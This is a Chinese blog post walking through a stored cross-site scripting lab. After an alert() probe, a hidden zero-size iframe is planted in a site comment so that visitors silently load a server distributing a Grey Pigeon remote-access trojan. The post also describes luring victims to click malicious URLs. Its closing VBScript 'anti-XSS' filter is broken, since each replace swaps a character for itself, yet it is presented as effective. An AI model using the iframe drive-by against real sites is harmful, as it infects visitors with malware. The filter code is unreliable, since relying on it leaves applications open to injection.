您的位置:首页 > 其它

也玩XSS

2010-05-16 23:05 106 查看
大家都知道跨站攻击不同于sql注入与上传漏洞,原理是用户提交的变量没有经过完整过滤Html字符戒者根本就没有经过过滤就放到了数据库中,一个恶意用户提交的Html代码被其他浏览该网站的用户访问,通过这些Html代码也就间接控制了浏览者的浏览器,就可以做很多的事情了如窃取敏感信息,引导访问者的浏览器去访问恶意网站等.同样针对数据库的攻击,分为外跨站和内跨站两种。
发现跨站漏洞的方法是在向网站中输入一段代码
<script>alert("/如果出现此提示,代表有跨站漏洞/")</script>


原理是当浏览器遇到一个以<开头的标签时就会认为产生了一个Html标记,他就会用自己内部的机制去响应和解释这些标签。譬如<script>这样的内容一旦出现,浏览器将认为产生一个脚本标记并且将其后面的内容当作javascrip来解释执行知道出现</script>结束。我们可以看出浏览器的所有输出操作都是由这些<>标记控制的,他只是解释这些标记并且产生动作或者把结果返回给用户,其他的都当成普通字符显示。当然你也可以用
javascript:alert("/如果出现此提示,代表有跨站漏洞/"),同样执行。
这里为了演示,我们搭建一个网站,为了方便就使用迷你ASP服务器来做实验。主要是为了实时查看日志。先介绍下环境:
黑客(为了方便介绍就黑客了) 192.168.114.23
被黑客控制的病毒服务器,一旦客户访问就可以下载木马自动上线 192.168.114.25
有XSS漏洞的网站,用迷你asp服务器搭建网站, 192.168.114.26
受害者 192.168.114.27
好了,先配置环境,这里对病毒服务器的配置就不做介绍了,毕竟这不是重点,还有就是使用的是灰鸽子,生成服务器端,配置也不做介绍了。
先用黑客去访问XSS网站,然后在文章评论处输入代码<script>alert("/如果出现此提示,代表有跨站漏洞/")</script>,呵呵 结果



ok 证明可以实施下一步了。同样在评论处输入代码
<iframe src=http://192.168.114.25 width=0 height=0></iframe>
注意,评论提交后自己就不要再次点开了,否则自己也会上线的。然后用受害者去访问XSS网站,然后点开刚才评论的页面,好了,去ASP服务器查看下日志记录,好,访问到了。



接着就是查看一下是不是有机子自动上线了


果然啊,还是自己上线了,这就是内跨站,就是利用来自自身的攻击,主要指的是利用程序自身的漏洞,构造跨站语句.在有跨站漏洞的页面直接写入网页木马地址,但凡浏览此页的用户都有可能中木马。 不同与内跨站, 外跨站(来自外部的攻击),主要指的自己构造XSS跨站漏洞网页,或者寻找非目标机以外的有跨站漏洞的网页. 在可以外跨站的URL后面跟上网页木马地址,然后把这个URL发给对方,骗其点击, 引发中马.这也是QQ上常见的一种骗子信息啊!
好了,这里主要是介绍一下跨站攻击的原理,所以做实验时很多安全措施都没有做,还有木马什么的都没考虑杀软的因素。
当然现实情况是很多网站都做过过滤,根本就无法做跨站攻击。
提供一段代码,可以有效的防御大部分的跨站攻击:

str=trim(str)
If IsNull(Str) Then
CheckStr = ""
End if
str=replace(str,"&","&")
str=replace(str,":",":")
str=replace(str,"=","=")
str=replace(str,"<","<")
str=replace(str,">",">")
str=replace(str," "," ")
str=Replace(Str,"""",""")

本文出自 “银河谷” 博客,请务必保留此出处http://beichen.blog.51cto.com/1083690/316618
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: